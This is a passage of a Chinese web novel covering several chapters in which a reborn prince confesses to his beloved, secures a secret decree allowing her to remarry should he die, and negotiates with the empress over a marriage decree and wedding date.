“第一样是刚下树的泊头鸭梨。个顶个的皮薄肉细、汁水足,咬一口甜脆无渣,半点涩味都没有。现在吃最是消暑解渴。”
“儿臣特意让人用蜡纸裹了,装了满满两大筐。让您和父皇尝尝鲜!”
崔皇后点点头:“嗯,梨子不错,你父皇这几日有些咳嗽,正好。”
谢翊宁见母后满意,脸上的小得意更浓了,继续炫耀。
“第二样是运河边刚晒好的银线鱼干。晒得干爽又保留着鲜味,半点儿腥气也无。儿臣记得您最爱用这个吊汤,特意命人给您带了一小篓,用油纸和荷叶包得严严实实的,待会就送来。”
崔皇后这下嘴角的笑意藏不住了:“算你还有点孝心,记得本宫的口味。那银鱼汤确实鲜美。”
“还有呢!”谢翊宁越说越得意。
“第三样,是沧州老字号瑞和祥秘制的金丝蜜枣。选了他们当地上好的金丝小枣用蜂蜜和桂花文火慢慢煨出来的,枣肉厚实软糯,甜里还透着枣香和桂花香,一点也不腻,和京城那些蜜枣完全不一样!您肯定会喜欢。”
“儿臣知道您偶尔喜欢用些甜点配茶,这一回给您带了好几大盒呢。”
崔皇后这下是真被逗乐了,轻轻用手指点了他脑门一下。
“臭小子,原来在这儿等着我呢?刚从我这儿支了给未来媳妇的步摇,转头就拿蜜枣来堵我的嘴?还好几大盒,你是想齁死你母后不成?”
谢翊宁嘿嘿一笑,脸皮厚得很:“瞧您这话说的~儿臣孝敬母后,那不是天经地义嘛。这蜜枣甜而不腻,您每日用几颗,最是滋补养颜了。再说了……”
他晃了晃怀里装着步摇的锦盒。
“儿臣这不是借花献佛,得靠母后的宝贝去给您挣个称心如意的儿媳妇回来嘛。儿臣能不能娶上媳妇,都靠您嘞~”
“油嘴滑舌!”崔皇后笑骂一句,但眼里的愉悦是真切的。
鸭梨清肺,银鱼鲜美,蜜枣甜润,都是她用得上的。
儿子虽然看着有些不着调,但这份惦记和用心,让她心里暖暖的。
她嫌弃地挥了挥手:“算你有心。行了行了,赶紧走吧,再磨蹭,害得本宫的小儿媳妇没了。我要你好看。”
“遵命!儿臣这就去献佛去了~”谢翊宁得了准话,抱着锦盒,脚下生风,像只快乐的小豹子似的冲出了殿门。
看着儿子那雀跃的背影消失在殿门口,崔皇后无奈又宠溺地摇摇头,端起茶杯抿了一口,对旁边的云黛笑道。
“瞧见没?这小子,拿了本宫库房里的好东西,这才想起来拿点不值钱的玩意来糊弄本宫。”
云黛也抿嘴笑:“东西或许不值多少银子,但殿下的心意值千金。能想到给娘娘送这些东西,说明殿下心里一直惦记着您。”
崔皇后放下茶杯,眼中笑意更深:“是啊,这臭小子还算有心。”
“不过,那步摇给了出去,我这心里还有点空落落的,那是我早两年特意留出来的好物件呢……算了算了,早晚也是给儿媳妇的。”
她说着说着忍不住摇了摇头。
随后她抬头看向云黛,吩咐道:“晚些永安王府送来的鸭梨,挑几个品相最好的,给皇上也送些去尝尝鲜。还有那鱼干,让膳房晚上煨个汤。”
“是。”云黛笑盈盈地应下了。
*
谢翊宁回了王府,将沧州送来的东西整理好。
父皇母后一份,太子哥哥一份,小恩人那里一份。
分好之后,他便迫不及待地抱着那份专门挑出来,包装得格外仔细的礼盒,脚底生风,直奔摘星山庄而去。
一路上,他一颗心在胸腔里咚咚直跳,比上一世上阵杀敌时还紧张。
“王爷又来了?”
听到双鲤的通传,棠云婋有些不明所以。
王爷这一天来两趟,是不是来得太勤快了些?
但她还是起身去见他了。
刚走到花厅门口,棠云婋就顿住了脚步。
花厅里热热闹闹的。
永安王拿了许多东西来,正和家里人介绍着呢。
“当时在临清遇险前,婋婋可是心心念念着,要给你们带些沧州的金丝小枣回来尝尝鲜的。可惜路上被那些贼人追杀,东西都弄丢了。”
“但她心里一直记挂着这事。所以路过沧州时,她特意托本王给你们带了一些回来,算是弥补那份丢失的心意吧。”
站在门口的棠云婋却微微一怔。
金丝小枣的事情她自己都几乎要忘记了,怎么可能开口拜托他去办这件事。
所以……
这根本不是什么“她记挂着”,而是永安王自己去命人办的。
看来,永安王比她想的还要在乎她。
棠云婋看着不远处的谢翊宁,眉眼弯了弯。
往常淡定的谢翊宁在对上她眉眼的那一瞬间,却慌慌张张地别过了头。
他这副模样让棠云婋脸上的笑意更浓了。
王爷的反应,让她感觉自己胜券在握,马上就要大获全胜了。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“婋婋来了呀?”棠风陵瞧见女儿,乐呵呵地将她叫了过去,夸赞了起来。
棠云婋顿时有些不好意思。
王爷将这份功劳和心意,都推到了她的头上。
她也不能让家里人知道这都是他的功劳。
于是棠云婋笑眯眯开口:“我只是动嘴皮子说说,实际上还是王爷帮的忙,阿爹和兄长最该谢的人是他。”
“多谢王爷!”棠家人连连道谢。
谢翊宁心里那点小算盘被这真诚的谢意撞得有点发虚,赶紧摆手,声音都拔高了几分:“小事!举手之劳,真不必如此客气!”
他做这些,可全是为了在未来岳父岳母一家面前刷好感。
要是被他们知道他另有所图……
谢翊宁偷偷瞄了眼旁边站着的棠家两兄弟,心里直打鼓。
他可是听说了,有些大舅哥护起妹妹来,对妹夫那都是横挑鼻子竖挑眼,没个三关六卡根本过不去。
也不知道他能不能顺利娶到小恩人。
想到这,他忍不住又偷看了一眼棠云婋。
他先前逃跑了,她会怎么看他……
他能不能娶到小恩人,大舅哥重要,但小恩人本人的看法更重要。
方青鸾眼角余光早扫到谢翊宁那欲言又止,还时不时往自家女儿身上瞟的眼神了。
她顿时心如明镜。
看来,婋婋很快就能得偿所愿了。
于是她立刻笑着推了推身旁的夫君,又朝两个儿子使了个眼色:“来来来,都跟我来,有点事。”
棠风陵不明白有什么事,但他已经习惯了都听夫人的,应了声就跟上。
但棠云麒有些疑惑,忍不住问道:“娘,什么事这么急啊?”
方青鸾不容分说,一手一个他的后衣领。
“还什么事?过完八月十五,国子监的大门可就敞开了!你们俩,刚凭王爷给的那点功劳蹭了个特批入学,真当是去享福的?”
“别到时候进去两眼一抹黑,丢的不止是咱们的脸,还是王爷和皇上的脸。还不赶紧给我回屋用功去!”
方青鸾压根不给儿子们讨价还价的余地,半推半搡地就把父子三人往内院方向赶。
一转眼,方才还热热闹闹的小花厅,瞬间就安静了下来。
只剩下了谢翊宁和棠云婋。
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第346章 心仪的是谁
棠云婋见他不说话,便起身打算离开。
“王爷,我还有事,先告退了。”
“先别走。”谢翊宁几乎是弹起来的,脱口叫住了她。
他脸上那点强装的镇定彻底绷不住了。
“嗯?”棠云婋佯作不解,微微歪头看向他,眼神清亮,“王爷还有何吩咐?”
谢翊宁赶忙将从母后那要来的蝶恋花步摇拿了出来。
“这个,送你……”
“多谢王爷。”棠云婋答得干脆利落,伸手就接了过来,动作自然得仿佛接过一杯茶。
“王爷若没别的事,我就先走了?”
谢翊宁彻底傻眼了。
这怎么和照夜说的不一样。
他说他给衔蝉送东西的时候,衔蝉说这么收下于礼不合,两人推拉了一番,他才趁机表明了心意。
而后水到渠成!
怎么到小恩人这里,她直接就收下了???
他还没等到推拉的环节,连铺垫也没有,难道要他硬着头皮直接说吗???
棠云婋狠狠掐了自己掌心一下,才勉强压住几乎要溢出来的笑意。
她抿紧嘴唇,目光却忍不住落在谢翊宁那张写满错愕、茫然和一丝丝委屈的脸上。
王爷或许还不知道,他此刻的焦急和不安有多明显。
棠云婋悬着的心彻底落定。
她想,王爷心里亦是有她的。
“等等!”眼见棠云婋真的迈开步伐要走,谢翊宁心头一急,脱口喊了出来,声音都绷得变了调。
他猛地吸了口气,决定豁出去了。
他一个大步走到她身前,目光灼灼,声音又急又亮:“你今日说你有心仪之人,那人……是本王么?”
棠云婋顿住脚步,转过身来,看着他故意拉长了调子,慢悠悠地吐出两个字:“不是……”
谢翊宁脸上的血色“唰”地褪了下去,眼里满是错愕。
随之而来的是不安和气恼。
不是他?
那是谁?
还能有谁?
见他这模样,棠云婋再也绷不住,噗嗤一声笑了出来,把剩下的话说了出来。
“不是你还能是谁~”
谢翊宁看着她眉眼弯弯,宛如春花乍放,笑容灿烂得晃眼,只觉得一股热浪“轰”地冲上头顶,脸颊耳根瞬间烫得惊人。
巨大的狂喜像烟花一样在心底炸开,可随之而来的是被她戏耍的羞恼。
“你!”他又气又急,指着她,声音都带着点不易察觉的委屈,“你竟敢捉弄本王!”
谁知棠云婋非但没有半点被抓包的赧然,反而下巴微扬,理直气壮地瞪了回去。
“那怎么了!还不是王爷您今日听完我的心意,连句话都没有,转身就跑得比兔子还快。害我一颗心七上八下,白白担忧了老半天。现在只让你担忧了那么一句话的功夫,算起来,还是我吃亏了呢。”
方才还觉得自己占着几分理的谢翊宁,被她这通抢白堵得哑口无言,气势瞬间矮了一截。
他弱弱解释:“我不是故意的……我那只是太紧张了,没反应过来。”
棠云婋哼了一声。
谢翊宁见状,心头一紧,连忙又凑近一步,屏着呼吸,小心翼翼地观察着她的神色:“你看,我这不就反应过来了,赶紧来给你赔礼道歉了嘛……”
他声音放得又轻又软,带着明晃晃的讨好,指了指她手里的小盒子。
“婋婋。”他唤得亲昵,语气里几乎带了点恳求的意味。
“别生气了,好不好?千错万错都是我的错,我不该跑的,真的。”
“我喜欢你,喜欢得不得了,你就别生我的气了嘛。”
棠云婋听到这话,面上一热。
王爷这话,真、真是太直白了一点。
谢翊宁一颗心悬在半空,七上八下地晃荡,眼睛一瞬不瞬地盯着她的侧脸,生怕错过一丝表情变化。
婋婋说得对。
他那会儿脑子一懵,落荒而逃的样子,简直太不像话了。
换作旁的姑娘,怕不是当场心碎,从此将他视作陌路,老死不相往来。
光是想想那个场景,他就心急如焚。
他指了指她怀里的小盒子,眼巴巴道:“你快打开看看,若这份赔礼你不喜欢,我立刻再去找更好的。保管找到你满意为止!”
棠云婋这才慢悠悠地掀开盒盖,那支精巧的蝶恋花步摇静静躺在盒子里,流光溢彩。
她瞥了一眼,却不说话,只微微偏过头,冲他努了努下巴,眼波往自己发髻的方向瞥了一下。
谢翊宁一时没反应过来是什么意思,只是傻傻地站在原地看着他。
棠云婋见他还是一副呆愣愣的模样,无奈地抬手点了点自己乌黑的云鬓。
“替我簪上呀~”
“哦哦哦!”谢翊宁这才如梦初醒,手忙脚乱地取出步摇。
他从未替人簪过发饰,动作难免有些笨拙。
他屏住了呼吸,小心翼翼地将步摇簪进了她的鬓发间,生怕弄疼了她一丝头发。
后头的双鲤看着两人的互动,早已笑得见牙不见眼。
哎呀呀,他们家郡主和王爷往那一站,跟天上的仙人似的,可真般配啊。
瞧见永安王替棠云婋戴步摇,她立刻悄无声息地捧来一面小巧的菱花铜镜递了过去。
棠云婋对着镜子左右照了照,步摇的流苏随着她的动作轻轻摇曳,映衬得她面若芙蓉。
镜中清晰地映出了身后谢翊宁正紧张兮兮的样子。
棠云婋看着镜中有些傻乎乎的谢翊宁,眉眼忍不住又弯成了月牙儿,笑意从眼底漾开。
她转过身,抬手轻轻扶了扶鬓边的步摇,眼波流转:“看在你诚心诚意道歉的份上,我原谅你啦~”
有了她这句话,谢翊宁只觉得一直悬着的心终于落回了原本的位置。
他嘴角抑制不住地往上翘,故意后退一步,端端正正地朝着棠云婋行了一个极其隆重的大礼。
“谢郡主宽宏大量!”
这夸张的做派逗得棠云婋没忍住,笑出了声。
两人就这么你看着我,我看着你,对着傻乐了好一会儿。
谢翊宁脸上的笑容渐渐褪去,脸上多了一抹认真。
他往前挪了半步,声音放得又轻又缓,带着点试探,又藏着满满的期待:“婋婋,若是我去求父皇母后赐婚,你可愿意?”
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第347章 那就赐婚吧
棠云婋脸上的笑意瞬间凝住了,眼睛微微睁大,带着几分错愕看向他。
果然有什么样的主子就有什么样的侍卫。
照夜和衔蝉那边心意才互通了不过两日,永安王就风风火火地上门提亲了。
眼下他们俩才刚把彼此的心意挑明,永安王竟然就想着直接求赐婚了?!
看着棠云婋瞪圆了的眼睛,谢翊宁顿时觉得耳根子有点发烫。
好像……是太着急了点?
可这个念头刚冒出来,就被另一个更强烈的念头死死压了下去。
婋婋这么好。
万一被别人惦记上,跟他抢怎么办?
光是想想这个可能性,他就觉得心口发堵,恨不得立刻就把“永安王未婚妻”的名号给她牢牢扣上,昭告天下才好。
名分!
必须先把名分定下来!
越快越好!
想到这,谢翊宁索性把心一横,眉毛一耷拉,嘴角也跟着往下撇,摆出一副受了天大委屈的模样,声音都黏糊糊地拖长了调:
“成婚的事儿当然可以慢慢商量,可咱们总不能一直这样吧?本王的名声倒是不要紧。”
他话锋一转,语气带上了几分真正的忧虑。
“但你一个姑娘家,我若总是这样没个名分地来找你,传出去对你清誉不好。”
越说,他反而越觉得自己占着理了,腰杆都挺直了些,带着点“我可是为你着想”的理直气壮。
“再说了,你总不能……总不能让本王一直这样,无名无分地跟着你吧?”
最后这句,又带上了点可怜兮兮的控诉。
棠云婋被他这番歪理邪说彻底逗乐了,心头软得一塌糊涂。
她看着他努力摆出正经模样却掩不住眼底那点忐忑的模样,只觉他得可爱得要命。
“好啊。”她干脆利落地点头,眉眼弯弯,笑意清亮,“那就请旨赐婚。”
她想不出任何拒绝的理由。
她心悦于他,他亦钟情于她。
他们迟早要成婚。
若能先定下名分让他安心,她有什么理由好拒绝的。
她答应得如此爽快,反倒让谢翊宁愣住了。
“你、你这就答应了?”他满脸不可置信,生怕自己刚刚听错了,又急切地确认了一遍。
“你真的愿意答应赐婚嫁给我???”
棠云婋点了点头,眼里的笑意怎么也藏不住:“自然。王爷这样好的人,错过了岂不可惜?我当然要快点让全天下的人都知道,你是我的未婚夫啦。”
谢翊宁听到这话,眼睛瞬间亮了起来,若是他此刻有尾巴,尾巴怕是都要翘到天上去了。
真好。
婋婋和他想到一块去了!
但这份得意只持续了一瞬。
谢翊宁看着她明媚的笑脸,心底那份沉甸甸的思虑再次浮了上来。
他收敛了笑容,神情变得无比认真,甚至带上了一丝不容置疑的坚持:“婋婋,我们先请旨赐婚,但成婚一事不必着急。”
棠云婋皱起了眉,没说话,等着他继续说下去。
谢翊宁深吸一口气,继续道:“国师虽说我命格已改,然世事难料,天意难测。我怕……”
他怕自己终究还是那个短命之人,怕自己给不了她长久。
“不许胡说!”棠云婋心尖一颤,立刻伸出手指,轻轻按住了他的唇,阻止他再说下去。
她的目光清澈而坚定,带着不容置疑的力量:“不可能!王爷定会长命百岁,福泽绵长!”
她踮起脚尖,凑近他耳边,温热的气息拂过他的耳廓,声音虽轻,却字字清晰。
“我们都是死过一次的人了。老天爷既然给了我们重来的机会,就是要我们好好活着,把上辈子没活够的时光,都补回来。”
谢翊宁心头滚烫,他用力点了点头,眼眶微热,但依旧固执地按住她的肩膀,让她看着自己的眼睛。
“婋婋,你听我说完。”
“我们先定亲。然后……等我到二十岁。”
他顿了顿,声音带着一种不容更改的决断。
“若那时,我还好好活着,身强体健。我便以最盛大的仪仗,风风光光迎娶你入府,让你做我名正言顺、独一无二的永安王妃!”
“这样即便之后,我不管因为什么缘故,忽然不在了,你也不必担忧。”
他把自己向母后求了密旨一事说了出来。
说起这事,他有些心虚。
他为了小恩人,算计了母后一回。
母后若是得知他要在二十岁之后才完婚,肯定不会答应给他这么一份密旨。
但月有阴晴圆缺,人有旦夕祸福,他也不知道他能活到多少岁。
若他早早离世,那小恩人岂不是要一个人过一辈子。
所以,他一定要给她要一份保障。
至于以后用不用,那就看她自己。
他永远不会勉强她。
她想做什么,都可以。
棠云婋听完彻底怔在了原地。
王妃改嫁?!
这简直是冒天下之大不韪!
前所未有。
闻所未闻。
他竟顶着可能面临的滔天非议和礼法苛责,为她铺好了这样一条万全的退路。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!棠云婋的视线瞬间模糊了,滚烫的泪水毫无征兆地涌了上来。
“你别哭呀。”谢翊宁不知道自己怎么就把小恩人给弄哭了,他手忙脚乱地想要替她擦掉眼泪。
棠云婋也知道自己这个时候不该哭,但是她控制不住她自己。
她只觉得天底下怎么会有谢翊宁这样好的人,怎么会有他这样的傻瓜。
她的动作比她的脑子反应更快,她毫不犹豫地撞到了谢翊宁的怀里,死死地环住了他的腰身。
双鲤赶忙背过身去,看到傻站着的九栀,扯着她一块背过身去。
察觉到怀里温热柔软的身体,谢翊宁整个人如遭雷击,瞬间僵在了原地。
少女馨香的气息混合着眼泪的咸涩,毫无保留地将他包围。
谢翊宁的大脑一片空白。
棠云婋把脸埋在他的胸膛前,声音哽咽却字字清晰。
“你不是说过么,你命硬得很,阎王也收不走。”
“你是王爷,一诺千金,决不能食言。”
“我不要你死,你不许死。”
最后一句话,带着从未有过的蛮横和无理取闹。
谢翊宁唇角泛起无奈的笑。
他悬在半空许久的手,终于小心翼翼地落在了棠云婋用力紧绷的脊背上。
他的手,带着一种近乎虔诚的试探。
先是轻轻触碰,感受到她细微的瑟缩。
随即,他收拢了手臂,以一种不容置疑却又无比温柔的力道,将她深深拥入怀中。
谢翊宁将下巴轻轻抵在她柔软的发顶,嗅着她发间清浅的香气。
他深深吸了一口气,声音温柔却坚定。
“好。”
“为了你……”
“我一定长命百岁。”
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第348章 得偿所愿了
那滚烫而坚实的拥抱不知持续了多久,激烈的心跳声渐渐趋于同步,呼吸也慢慢平复。
棠云婋埋在谢翊宁胸前的脑袋动了动,理智和羞赧后知后觉地涌了上来,迅速淹没了方才那股不管不顾的勇气。
她刚才居然就这么扑到永安王怀里去了?!
还抱得那么紧,说了那么些话……
棠云婋的耳根“唰”地一下红透了,连带着脖颈都染上了一层薄薄的绯色。
她几乎是手忙脚乱的,想要从谢翊宁怀里退出来。
谢翊宁感觉到怀里的动静,手臂下意识地收紧了一瞬,但最终还是顺从地缓缓地松开了怀抱。
棠云婋轻咳一声,快速转移了话题。
“王爷,温如璋那边问了吗,棠家村那年出事,他有没有别的线索?”
“秦朔已经去问过了。”谢翊宁默契地没有继续提刚刚那个拥抱。
“他说那段时间,有见过赵王世子去了一次青州。”
看到棠云婋眼里的疑惑,谢翊宁解释了起来。
“赵王是我的九王叔,赵王世子,是我的堂兄。赵王的封地在齐州,距离青州约莫三百多里。”
“赵王和秦王有仇吗?”棠云婋忍不住询问。
谢翊宁摇了摇头:“不知道,秦朔还在查。当时他想查的就是那几位王叔。能养得起那么多死士的也就那几位去了封地的王叔了。只可惜,一直没查到什么有用的东西。”
“不过总算有点线索了,这是好事。”棠云婋又想起了远在阆中的秦王妃。
“那秦王妃和小郡主呢?可有线索?”
“隐麟卫的人去过了,没找到和她们母女相符合的人。不知道她们是不是换地方了藏起来了。”谢翊宁摇了摇头,眉头锁得紧紧的。
找不到秦王妃母女,他总感觉有一柄剑悬在脖子上,不知何时便会落下。
见他眉头皱起,棠云婋忍不住伸手替他抚平,安慰道:“毕竟十几年过去了,这些事情查起来确实没那么容易。不必太过着急。”
“她的心腹老仆不是说过么,五年后她会带着女儿回京城。算算日子,也没两年了。到时候,她一定会派人去那个宅子试探,咱们守株待兔就好。”
“婋婋言之有理。”谢翊宁从善如流的点头,唇角重新扬起明朗的弧度,带着几分迫不及待的雀跃。
“仔细想来,这事确实不用着急。”
他话音顿了顿,目光灼灼地望向她:“眼下最该着急的,是赐婚的旨意!”
“本王现在、立刻、马上就回宫去请父皇母后下旨意。”
棠云婋只觉得方才好不容易消散了些热意的耳根,“噌”地一下又烧了起来,热度迅速蔓延至脸颊。
他这才刚来见她一面,转头就要立刻进宫去求旨?
这要是让皇上和皇后娘娘知道了,会不会觉得她太恨嫁了?
“也不用那么着急吧?”她小声嘀咕。
“那婋婋觉得何时合适?”谢翊宁立刻放软了声音,微微倾身,一副“全凭她吩咐”的乖巧模样,眼巴巴地等着她的答案。
可不过是一眨眼的功夫,他又忍不住小声追加了一句,语气里带着掩藏不住的急切:“……只是能不能别让我等太久?我有点等不及了。”
看着他这副既想尊重她意见又实在按捺不住心中迫切的模样,棠云婋心一软,对上他那双写满了期待的眼睛,脱口而出道:“那就明天?”
说完又觉得似乎还是急了点,连忙找补。
“要不还是多等几天吧……”
谢翊宁果断打断了她继续说下去的话:“不不不,你说明天,那就明天。”
想到马上棠云婋就要成为他的未婚妻,他眼底瞬间迸发出璀璨的光彩,笑容抑制不住地漾开。
棠云婋被他的笑容晃花了眼,下意识地伸出手轻轻推了他的胳膊一下,像是要赶走这令人心跳加速的氛围。
她连声催促道:“行了行了,时辰不早了,你快些回去吧。”
刚表明心意,谢翊宁只想十二时辰都呆在她身边。
但他也知道,这不可能,只得用可怜巴巴的眼神看着她,试图再多呆一会儿。
但棠云婋此刻只想快点让他离开,好缓一缓自己发热的脸颊,不由分说地又轻轻推了他一把。
“好了,快走吧。”
谢翊宁露出一副无可奈何的模样,拱手行了个夸张又潦草的礼:“是是是,郡主有令,莫敢不从。本王这就走。”
他这样耍宝的模样逗得棠云婋唇角不受控制地高高扬起。
她强忍着笑意,清了清嗓子,努力端出郡主的架子,顺着他的话往下接,下巴微扬:“哼,知道就好。那本郡主命令你,明日再来!”
这句看似命令实则期待的话语,瞬间让谢翊宁那颗刚刚还有些失落的心又重新活了过来。
他脸上的愁云惨雾一扫而空,高兴得轻轻蹦跳了一下,声音清亮又快活地应道:“好嘞!小的谨遵郡主懿旨~明日必定准时到山庄给您请安!”
他这夸张的应答和那雀跃的小动作,让棠云婋再也绷不住笑弯了腰。
本小章还未完,请点击下一页继续阅读后面精彩内容!谢翊宁这才一步三回头地,带着满心满眼的笑意和迫不及待,朝着院外走去。
直到他的身影消失,棠云婋才长长舒了一口气,整个人松懈下来。
回想起方才自己的大胆和窘迫,她下意识地抬手捂住依旧发烫的脸颊。
她的终身大事,就这样敲定下来了?
永安王离开后,方青鸾便火急火燎地寻了过来。
永安王一天来两趟,也就家里三个粗枝大叶的男人没看出来有什么不对劲。
可她又不能把永安王和婋婋的事情告诉他们。
毕竟此事成与不成,还两说呢。
还是等有结果了再说吧。
她走近,瞧见女儿独自站在庭院中,一颗心不由提了起来。
那眼眶分明还红通通的,像是狠狠哭过一场,可脸上却洋溢着明媚幸福的笑意。
这到底是成了,还是没成?
方青鸾一时竟有些摸不准。
还没等她开口询问,棠云婋便小跑着迎了上来,一把挽住她的胳膊,将发烫的脸颊亲昵地贴了上去。
“阿娘,”她的声音里浸满了蜜糖般的欢喜,每一个字都仿佛带着轻盈的跳跃,“我好开心啊。”
得,不用问了。
方青鸾高悬的心稳稳落回实处。
成了。
她的婋婋,得偿所愿了。
*
未央宫内。
崔皇后将今日小儿子所求告诉了文昭帝。
听到谢翊宁要王妃改嫁的密旨,文昭帝差点以为自己听错了。
他猛地起身,沉着脸反对:“荒唐,这怎么行。胡闹!他就是胡闹!”
堂堂亲王正妃,若夫死另嫁,成何体统。
皇家的脸面还要不要了?
这简直是把天家尊严放在脚下踩!
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第349章 皇后反悔了
崔皇后并未急着反驳。
她起身走到文昭帝身边,轻轻拉住他的衣袖,让他重新坐下。
“皇上息怒。先喝口茶,听臣妾慢慢说。”
她亲手为他重新斟了杯茶,语气温柔:“皇上,小石头这孩子重情重义,您不是比谁都清楚么?”
“这孩子,看着顽劣没心没肺,可内里却最是赤诚执着。他认定的东西,认定的人,那就是掏心掏肺地好。”
“您想想,他小时候为了护着那只受伤的红嘴相思鸟,是不是宁愿自己挨罚也不肯交出来?如今,他对令嘉郡主,怕是比那更甚千百倍。”
文昭帝哼了一声,脸色稍缓,显然是想起了儿子幼时的倔强模样。
崔皇后见状,轻轻叹了口气,语气里带上了几分显而易见的心疼。
“他这不是胡闹,也不是不在乎皇家颜面。他只是怕自己福薄,怕自己拗不过那所谓的命格,耽误了人家姑娘一辈子啊。”
她伸出手,轻轻按在文昭帝的手背上,言辞愈发恳切。
“皇上,子肖其父,小石头只是和您一样至情至性、有担当。”
文昭帝听到她这话,不由想起了自己年轻时,为了王妃和先帝争执的场景。
小石头这执拗劲儿,这宁肯自己担着万般风险也要为心上人谋一条生路的傻气,不就是像极了当年的他么。
见他没吭声,崔皇后便知道他把自己说的话听进去了,继续说了下去。
“更何况,那密旨你知我知,天知地知,若非真有万一,永远不会现于世人间。它只是一份安两个孩子心的凭证罢了。”
“给了这份心安,让小石头能毫无挂碍、开开心心地去筹备婚事,去好好过日子,盼着长命百岁,儿孙满堂,这难道不好吗?”
文昭帝沉默了片刻,紧蹙的眉头渐渐舒展开来。
他反手握住皇后的手,长长叹了口气,语气复杂,却再无怒意:“罢了罢了,你呀,真是把他惯得没边了,所以这臭小子才敢跟你提这样的要求。”
这话听起来像是责备,但语气已经软化。
崔皇后知道,皇帝这是答应了。
她莞尔一笑,顺势依偎到他怀里,娇嗔道:“皇上这话说的。臣妾惯的,难道您就没惯着?也不知是谁,当年听说他落水,急得连靴子都穿反了……”
文昭帝被她说得老脸一热,终是无奈地摇了摇头,眼底却已是一片温和:“拟旨吧。就依那小混蛋的意思。只是切记,这事必须给朕烂在肚子里。”
“是,臣妾遵旨。”崔皇后笑着答应了下来。
*
翌日清晨。
谢翊宁几乎是踩着宫门开启的时辰来的。
“母后。”请完安后,他蹭坐到崔皇后身边的椅子上,脸上堆起十足乖巧又讨好的笑容。
“儿臣昨日送来的银鱼干,炖了汤味道可还鲜美?”
崔皇后慢条斯理地拨了拨茶盏,眼风都没扫他一下,只淡淡“嗯”了一声:“尚可。”
谢翊宁毫不气馁,立刻又凑近了些,声音放得更软:“那筐鸭梨呢?母后尝了吗?是不是很甜?”
“嗯,甜。”崔皇后依旧言简意赅,端起茶盏抿了一口,唇角似乎弯起一个极细微的弧度。
谢翊宁观察着母后的神色,继续道:“那蜜枣……”
“行了行了。”崔皇后终于放下茶盏,抬眸看向自家这个明显醉翁之意不在酒的儿子。
“绕了这么大圈子,真当母后不知道你那点小心思?”
谢翊宁被戳穿,也没有尴尬,只是嘿嘿一笑,厚脸皮道:“母后英明,那昨日您答应儿臣的事,是不是……”
“是,已经办妥了。”崔皇后也不再逗他,朝身旁的云黛递了个眼神。
云黛会意,躬身退下,片刻后便捧着一个紫檀木小匣子回来了。
崔皇后接过匣子,递给了他:“你要的东西,就在这里面。”
谢翊宁接过,飞快打开,看到上边圣旨清楚写着:若永安王谢翊宁身故,其王妃棠氏,可自行婚配,任何人不得阻拦。
他顿时松了一口气。
“多谢母后!多谢父皇!”他将这道密旨小心翼翼地收好,郑重道谢。
崔皇后幽幽地叹了一口气:“母后只希望这密旨,一辈子不见天日,永远没有用上的那一日。”
谢翊宁知道母后的担忧,他不知道该如何去安慰母后,只得嬉皮笑脸地转移了话题,试图将那沉甸甸的话题轻巧地掀过去。
“母后,那赐婚的旨意什么时候能下呀?”
崔皇后挑眉睨了他一眼:“哦?旨意?人家点头答应你了么?”
“答应了答应了!千真万确!”谢翊宁连连点头。
他清了清嗓子,挺直腰板,眉飞色舞道:“母后您想想,我是谁呀?我可是您亲手教养出来的孩子。”
“这满京城里论人品、论才学、论相貌、论身份……”
听他吹到这,崔皇后忍不住横了他一眼,想知道他到底脸皮有多厚,要怎么自吹自擂。
谢翊宁嘿嘿一笑:“当然是太子哥哥排第一。我嘛,其他不说,但论这眼光和痴心,我认第二,谁敢认第一?”
说到这儿,他话锋极其自然且狗腿的一转,把功劳全数奉上。
“这归根结底啊,都是母后您教得好!要不是您把我生得这么玉树临风、风流倜傥,又教导得如此知情识趣,人小姑娘能这么快就答应吗?”
“不可能!绝对不可能!”
“她能那么快答应,全都是看在母后您的面子上!”
“所以这旨意,它必须得快快地下!这才能证明母后您眼光独到,一下子就给儿子挑了这么好一媳妇儿,也给您自己找了个顶顶好的儿媳不是?”
崔皇后还以为他要自吹自擂,没想到最后全夸到她这个当母后的头上了。
她能说什么呢,她被哄得眉开眼笑,当然只能高高兴兴地准备赐婚了呗。
但她没能高兴多久,就听到了谢翊宁说要把婚期放在后年花朝节前。
她眉头一拧:“后年的花朝节?”
今年十二月小石头就正式满十九岁,婚期竟然要拖到后年,那不是得过了二十岁么?
她顿时感觉自己被儿子给坑了。
“把密旨还给本宫。”她板着脸看向谢翊宁。
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第350章 明年就成婚
“给了儿臣的,哪有再拿回去的道理。”谢翊宁立刻将密旨藏到了怀里。
“你都等到二十岁之后才成婚了,你要密旨有什么用?”崔皇后气恼地看着儿子。
她之所以费心费力向皇上讨要这份密旨,还不是为了让儿子早日娶妻。
他拖到后年,那她做这一切还有什么意义。
“以防万一嘛。”谢翊宁嬉皮笑脸,试图缓解母后的愤怒。
但崔皇后可不是那么好糊弄的。
她冷冷道:“不行。你若要那么晚才成婚,那就别指望我们给你赐婚了。”
听到这话,谢翊宁脸顿时垮了下来。
“母后~~~您就帮我这一回吧~~~”他拉着崔皇后的手试图撒娇,让她改变心意。
但这一次崔皇后很坚定。
赐婚的话明年花朝节前让钦天监挑个好日子成婚,坚决不能拖到二十岁之后。
母子二人谁也说服不了谁,最后以谢翊宁被“请”出未央宫告终。
谢翊宁垂头丧气地抱着密旨去了摘星山庄。
棠风陵后知后觉地发现了不对劲。
他悄悄问方青鸾:“夫人,你觉不觉得永安王来得太勤快了些?两天来三回?他和婋婋有那么多事情可说么?”
方青鸾没好气地翻了个白眼。
夫君现在才反应过来呢。
她看向棠风陵:“那你当初一天跑三趟我家,给我送东西,你说是为什么呢?”
“这这如何能相提并论!”棠风陵脱口而出。
对上夫人的眼神,他福至心灵,恍然大悟。
“你是说王爷对婋婋……?不会吧?不、不可能吧?”他彻底回过神来,惊讶得舌头都打结了。
